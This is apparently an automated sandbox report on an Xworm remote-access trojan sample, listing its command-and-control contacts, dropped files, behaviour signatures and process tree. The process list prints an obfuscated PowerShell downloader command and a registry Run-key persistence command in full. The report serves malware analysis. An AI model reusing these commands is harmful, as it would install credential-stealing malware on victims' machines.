AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	12.221.146.138:9402	june9402xw.duckdns.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp

Files

memory/2008-0-0x000007FEF6003000-0x000007FEF6004000-memory.dmp

memory/2008-1-0x0000000000880000-0x000000000088E000-memory.dmp

memory/2008-2-0x000007FEF6003000-0x000007FEF6004000-memory.dmp

memory/2008-3-0x000007FEF6000000-0x000007FEF69EC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\crrlge.vbe

MD5	8ec786faaa5a362811fd1619b154491a
SHA1	71bb2855f0a7310e03a314d36bee6834a4a1e0bd
SHA256	a0db4681c448441398ef9c2ed196614fa9a6cbcf88292b865282d0e1cc787554
SHA512	a6d184f84b4edcb2689f69bf409e837919bac747e4dae083b54df6cc58aa4e28732cc667667b73bd85155c97b7f9247fe423cdf412d5fd4fb917857cdbe171cf

C:\Users\Admin\AppData\Local\Temp\jnkknt.js

MD5	328765aecc6d2133216750c1b177bb47
SHA1	078149068c875b447f6d936255716e02deef08a3
SHA256	e8ea76d1543e92d8cf8446332af71ae00ffb86f15aaf22aaf5c8d3ba39e915fc
SHA512	11373f2da96edee3e0de2d9f202564a5ae2636b4555cab3d3ad2d54aeccbf20e7e2104039087a4566439a85772a9c714adc6683c5094b70d658e8f93db0e44c5

C:\Users\Admin\AppData\Local\Temp\jnznkv.vbs

MD5	44cc7d8bb2eaa90cb7ebfe43745bf6bf
SHA1	8a8624f10c91710ddfb562816c08f4bdb86444fb
SHA256	7a23828abf2a8e261bb2ed2575f4034941524d032968f96e06e18200898202fd
SHA512	431458777fc04012c65f5282f7f5da59441ac6753f6c791051183991169cbeed34caa22bd7fde10b975db54c29fd7173e68b08414d1893e03952a2953efe289e

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

MD5	a08991b3b3149042115bebb75a76ccc0
SHA1	4f1a11c57b43422713fcb9c7af450a3a547ad11d
SHA256	827224a17beecdd911e49e0f09ab9665246f781744d1241545d6aefe2e67c788
SHA512	dc3f8319b0a7ab3e3a37447cdd60b3772bbb5e73cd44e9e58c2ad979dcd68f48f675c8a0a2626e9d3af5d4c664a9dcc52b786b69946236d8f89d12371d987fac

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

MD5	98b3cefae98c43beef4a78853ddf828f
SHA1	c9f605f6e03efbb1d0c6e2c2a6c5fc4e4cb33f22
SHA256	e2c0d8d81642c916bac98d868c60c0463e94ca19eaf510204a722f6bd1ff31cc
SHA512	b817c9034f1fa1399454018fff0cf9c4afd5317c1f1141bb92d60d5119e2ce1952023fcf23d280656f90b0d00c3cb3ed2a4b286298f1e0355b9ed9ca44213664

C:\Users\Admin\AppData\Local\Temp\CabDF96.tmp

MD5	ac05d27423a85adc1622c714f2cb6184
SHA1	b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256	c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA512	6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	57b726b7b58c3113130090c4ed133914
SHA1	39e1c62d6aab2b4ed8bc0a8ec73d8d7cba0092cf
SHA256	27c04e31958c9ce6ca29c24c23c9c4b4f1eba36dd76f05fbba9c6b55f755b929
SHA512	4cebd95d9088b18862579f228bb6f04882ff6bcc05a899bccf222b5241212d1074b626f66d2f80df5701d8f2e61bc648adbc03c6d4f2e3b920f5046121262e2b

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

MD5	8202a1cd02e7d69597995cabbe881a12
SHA1	8858d9d934b7aa9330ee73de6c476acf19929ff6
SHA256	58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5
SHA512	97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

MD5	c42f588bacba12518d4ecd146f1ea61e
SHA1	b7942f766e3f44d92e16767112ecf6468b8ff557
SHA256	f574a852f45ed0178441c54e44473f8fe9881fe432e98d64cf883302cd2c0280
SHA512	6a422edd4911a63b1963d31573e6394c55aa6baa25e888e926f5316627776680647121ab3812913c5d0efe91edec4c7c317b8458d9f1845034993b4dbffb1e8f

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5	70a068eb8a8c072c189fe725306f54bd
SHA1	7ef33e111e12530874f553efa07a8a1dac72263a
SHA256	95501b01d3262b056de3c9c0710d9e3f6eed83d6adba057932ca3f82853fcc6d
SHA512	4696a14e87431c3bc6c1f92b10c94f3da6f0dd58d8fcf70febd178329d96f499eaf49686b211921c6ff96a37d29c9d9e07ea6e29fdcfc271c3d1a64158c7ec4a

memory/1348-57-0x0000000002790000-0x0000000002798000-memory.dmp

memory/1348-56-0x000000001B510000-0x000000001B7F2000-memory.dmp

memory/2908-73-0x000000001AC80000-0x000000001AE6E000-memory.dmp

memory/2008-74-0x000007FEF6000000-0x000007FEF69EC000-memory.dmp

memory/1576-80-0x000000001B610000-0x000000001B8F2000-memory.dmp

memory/1576-81-0x0000000002240000-0x0000000002248000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 21:22

Reported

2024-06-13 22:33

Platform

win10-20240404-en

Max time kernel

1326s

Max time network

1800s

Command Line

"C:\Users\Admin\AppData\Local\Temp\junexw.exe"

Signatures

Detect Xworm Payload

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A

Xworm

trojan rat xworm

Blocklisted process makes network request

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WScript.exe	N/A
N/A	N/A	C:\Windows\System32\WScript.exe	N/A
N/A	N/A	C:\Windows\System32\WScript.exe	N/A
N/A	N/A	C:\Windows\System32\WScript.exe	N/A
N/A	N/A	C:\Windows\System32\WScript.exe	N/A
N/A	N/A	C:\Windows\System32\WScript.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Command and Scripting Interpreter: PowerShell

execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Reads user/profile data of web browsers

spyware stealer

Adds Run key to start application

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\Run\Datakopierings = "%Revolutionary% -w 1 $Nonetheless=(Get-ItemProperty -Path 'HKCU:\\Cornaceous\\').Gonid;%Revolutionary% ($Nonetheless)"	C:\Windows\SysWOW64\reg.exe	N/A

Legitimate hosting services abused for malware hosting/C2

Description	Indicator	Process	Target
N/A	pastebin.com	N/A	N/A
N/A	pastebin.com	N/A	N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 4012 set thread context of 3328	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3988 set thread context of 198380	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Modifies registry class

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Local Settings	C:\Users\Admin\AppData\Local\Temp\junexw.exe	N/A

Modifies registry key

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\reg.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	N/A

Suspicious behavior: MapViewOfSection

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 380 wrote to memory of 1436	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 380 wrote to memory of 1436	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 380 wrote to memory of 1100	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 380 wrote to memory of 1100	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 380 wrote to memory of 4440	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 380 wrote to memory of 4440	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	C:\Windows\System32\WScript.exe
PID 4440 wrote to memory of 5064	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 5064	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1100 wrote to memory of 4020	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1100 wrote to memory of 4020	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5064 wrote to memory of 2268	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5064 wrote to memory of 2268	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4020 wrote to memory of 4012	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4020 wrote to memory of 4012	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4012 wrote to memory of 3328	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4012 wrote to memory of 3328	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4012 wrote to memory of 3328	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4012 wrote to memory of 3328	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4012 wrote to memory of 3328	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4012 wrote to memory of 3328	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4012 wrote to memory of 3328	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4012 wrote to memory of 3328	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1436 wrote to memory of 1896	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1436 wrote to memory of 1896	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1896 wrote to memory of 5064	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 1896 wrote to memory of 5064	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 1896 wrote to memory of 3988	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1896 wrote to memory of 3988	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1896 wrote to memory of 3988	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 3988 wrote to memory of 2628	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 3988 wrote to memory of 2628	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 3988 wrote to memory of 2628	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 3988 wrote to memory of 198380	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 3988 wrote to memory of 198380	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 3988 wrote to memory of 198380	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 3988 wrote to memory of 198380	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 3988 wrote to memory of 198380	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 198380 wrote to memory of 61256	N/A	C:\Program Files (x86)\windows mail\wab.exe	C:\Windows\SysWOW64\cmd.exe
PID 198380 wrote to memory of 61256	N/A	C:\Program Files (x86)\windows mail\wab.exe	C:\Windows\SysWOW64\cmd.exe
PID 198380 wrote to memory of 61256	N/A	C:\Program Files (x86)\windows mail\wab.exe	C:\Windows\SysWOW64\cmd.exe
PID 61256 wrote to memory of 159540	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\reg.exe
PID 61256 wrote to memory of 159540	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\reg.exe
PID 61256 wrote to memory of 159540	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\junexw.exe

"C:\Users\Admin\AppData\Local\Temp\junexw.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\zxwuch.vbe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\kaqlax.js"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ucaxju.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Kdfars211.Arb && echo t"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Ovaloid = 1;$Pengestrkes='ring';$Mekhitarist198='S';Function Placque($Ansigtsformens){$Bantamweight=$Ansigtsformens.Length-$Ovaloid;$Sowel=$Mekhitarist198+'ubst'+$Pengestrkes;For( $Frizzle=2;$Frizzle -lt $Bantamweight;$Frizzle+=3){$Outgarment+=$Ansigtsformens.$Sowel.Invoke( $Frizzle, $Ovaloid);}$Outgarment;}function Quatrible($Pusheres){ . ($Phenylene) ($Pusheres);}$Extense=Placque 'PhMBroDiz SiBalMalGraDo/ a5 K.Kk0Te ,a(SwW JiChnU,dGeo .wBas t gNNrTM. Ve1 F0D.. U0.o;In CoW riPrnSt6O.4A.;sl U.xR,6 U4Po; . Ar evra:He1Gu2Sp1,o.Ve0Mi)Lo tjGBieSac,uk toPm/ T2 S0 o1Bi0 .0 C1,u0Li1 u .FC iForBue bfUdoMax C/ t1Pi2 C1 t. e0Po ';$Cigartndere=Placque 'CaU As aemerMo-DaApagLaeHan at , ';$Unilaterale=Placque 'A,h,etFit CpBas .: e/ o/ an SzScaHar oi a.a.SpoElrP gOu/ Bs ,xCi/AzO,yvToaSpr iKaoKisF.tNioRemHiyR . HcV sTuvS ';$Forsgscentret=Placque 'Be> P ';$Phenylene=Placque 'S,i ,eM.xGe ';$Passionfruit='Dismes';$synanons = Placque 'Fre ic eh Ho,e r% Paf.pAlpO,d maUdtUdaG %No\H KdydN,fBoaF.rStsT,2N.1Ud1Vi.ExA Pr DbGr Aa& L&Tn TeTrcSth,aoSe FotBa ';Quatrible (Placque 'Ge$pogStl AoAlb .aFolFe:DiNK y Thd.eRudTasChfGooglrKvm SiSudUblN.iIsnT,gW e rNynTaePo=b (S.c,hmNadIm Va/SecPr Ko$.rsJ y,in UaTonAno.rnBus G)F, ');Quatrible (Placque 'Un$.sg.pl no b Rar l n: Af.arBiePse,al Ha nBrcKieS.jBro ru Mrkansta ,lGai ksPrtvie KrRa= U$veUrenBai.il laTot Ae IrBeaGalAred..,tsH pHolPhiSdtBi(S $,aFamoAurVes UgStsboc eGenJatUnr Ae.ytH,) r ');Quatrible (Placque ' T[T.N Uet.tWv.TrSA.eThrTavInilucCoeQuPIno IiH,nCot MCaa enPraRegAfeStr J]N,:Ca:HiSJ,e ,c UuRer,hiByt.ly.oP.arDeoPrtK,o cK.oAklKv .k=,o F[C.NBreEntHa.TsSEde DcU,u arChiBytChyyePLir to,lt.roHacInoColBeTSeySap,xeD,]Ej:In:SoT Rl s.k1Bo2Gr ');$Unilaterale=$freelancejournalister[0];$pneumatocyst= (Placque 'Pa$BagTrlB.oF b ga ,lTe:.eH io .r TmB,oSpgReo ynUna l eTusFr= NH,eN w e- jODobKajUne CcFetP, .yS Uy.fsEmt BeBomM.. LNCle PtB . GWUde abFaC LlSkiBaeLan Kt');$pneumatocyst+=$Nyhedsformidlingerne[1];Quatrible ($pneumatocyst);Quatrible (Placque 'Br$ SHH oA r.rmWeoUtgPuog.n ,aZ lCue Ss,k.KoHGyeSmaBed HeForEksEs[ P$ChC .iHogA,a ur WtP,nCydI.eM,rLiesk]Gr= J$.eEAqx DtcueSinPesEceA ');$Vitriners=Placque '.i$ .HN.o ArAbmSpo,rgA.o MnBeaS,l KeK sSa.MeDTwo ewBen el EoRaa d.eF,oiP lVae .(Ep$HiU .nFoiFulTiaFutC e .r SaD,lSaeG ,Co$t.M aoB,nL.d ungai tKueP tVe),s ';$Mondnitet=$Nyhedsformidlingerne[0];Quatrible (Placque 'St$BagB.lReoAub Ra Sl,l:SkS .yTos it FeGemTyi .sVie HrBi= (A T KeDes ctHo-KvPAlaOrtMeh.n Vo$P M.ooMinakdBln,aiG t,aeLyt.r)Ap ');while (!$Systemiser) {Quatrible (Placque ' O$stgPelShoknb aBel i:CoRw,aUnpCos uo Dd MiSpeKar E=Ud$ Rt srKouHoeUr ') ;Quatrible $Vitriners;Quatrible (Placque 'F,S.ct SaMer.ctP.-.aSA lKoeK,eP,p V Na4di ');Quatrible (Placque 'Th$ hgfalF oUdbb,aP,lAl:FiSSty.hs EtT,e ,m oiQ s JeBerTr=Ri(ErTk,eCosgetPa-KeP.ua.nt MhF. .$NeM aoHenUdd UnFaiCltW,e Ot.r) I ') ;Quatrible (Placque 'Ve$Prg.ulSaoRyb.iaOvlD :AlDBre cvei BmenaTel lt ta Eb Eu.ilP.eCor Ce.anFrdCoe,ys T=.e$h,g .lCooDibFaaRelC,:P.UGrnFod,esCie BeAflCoiUdg FeSi+ N+Fo% $,rflar Me EeDel.eaUnn Ec.de ,j .o .uKlr.lnHoaR.l oi sEctOme.orEf.sucPuoJuuEmnTjtS. ') ;$Unilaterale=$freelancejournalister[$Decimaltabulerendes];}$Stavelsesantallets=321844;$Kopimaskine=26918;Quatrible (Placque '.n$LegKulGro GbRaaBal.a: MSHrk uM,lOvdS,e ,rKosWat,irTroH,ps Mo=Va HuGdeebytSi-.rC,eo ,n,et.beRanu.t r$B.MKyoSanAkdErnaniPat,oe ,t R ');Quatrible (Placque ' .$Blglel,uoDrbHya,pl .:SgTMei ClBehBroF e Vr,xeHi S,=St F [.iS iys.s et ,eMamVu. SCMeo .n AvEne .rUntu ]Co:Gr:FoF,irFuo m PBekaU sBeeMi6La4T.SFotF,r.niWen NgCy( t$PaSBikSnu,flQ.dHyeS rHesuntGrrSpoFepPr) c ');Quatrible (Placque ' y$AfgArlOmoStb.oaM l S:NeB aeQus at,ri FaStlC,sFl1fr0Bu5Ti Pa= kv[OmSSlyPhs BtAce,am a.FeT .eA.x Rt A.PlEBanEncOvo ,dR.i knSkgPi]Sp:Pa:T A RSS,C LI LII..EnGReeFotj.SovtvirPyi,enfagAk(Pe$ TTDyi lK,hTao FeT rCoeP ) ');Quatrible (Placque 'Me$BagaalF.oFobOcaSllGe:W KFlaDubVaeTalP lCogHjnC,i enDeg.a= R$ uBkre CsPot SiS,aGolRusKo1Te0S,5 P. ns SuRobD s ,t.er,xi SnKig (J.$B,S RtgaaArv,peB l,tsFlerasG a.en,rtInaJ.lRelToe,itArsP,,Ci$ImKNeoCepAbibam.maB,sVakEfi yn,keFo)Ep ');Quatrible $Kabellgning;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Kdfars211.Arb && echo t"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Datakopierings" /t REG_EXPAND_SZ /d "%Revolutionary% -w 1 $Nonetheless=(Get-ItemProperty -Path 'HKCU:\Cornaceous\').Gonid;%Revolutionary% ($Nonetheless)"

C:\Windows\SysWOW64\reg.exe

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Datakopierings" /t REG_EXPAND_SZ /d "%Revolutionary% -w 1 $Nonetheless=(Get-ItemProperty -Path 'HKCU:\Cornaceous\').Gonid;%Revolutionary% ($Nonetheless)"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	12.221.146.138:9402	june9402xw.duckdns.org	tcp
US	8.8.8.8:53	138.146.221.12.in-addr.arpa	udp
US	8.8.8.8:53	paste.ee	udp
US	172.67.187.200:443	paste.ee	tcp
US	8.8.8.8:53	pastebin.com	udp
US	104.20.4.235:443	pastebin.com	tcp
US	8.8.8.8:53	200.187.67.172.in-addr.arpa	udp
US	8.8.8.8:53	235.4.20.104.in-addr.arpa	udp
US	8.8.8.8:53	98.251.17.2.in-addr.arpa	udp
US	8.8.8.8:53	67.169.217.172.in-addr.arpa	udp
US	8.8.8.8:53	uploaddeimagens.com.br	udp
US	104.21.45.138:443	uploaddeimagens.com.br	tcp
US	104.21.45.138:443	uploaddeimagens.com.br	tcp
US	8.8.8.8:53	138.45.21.104.in-addr.arpa	udp
US	8.8.8.8:53	cleverjoyas.cl	udp
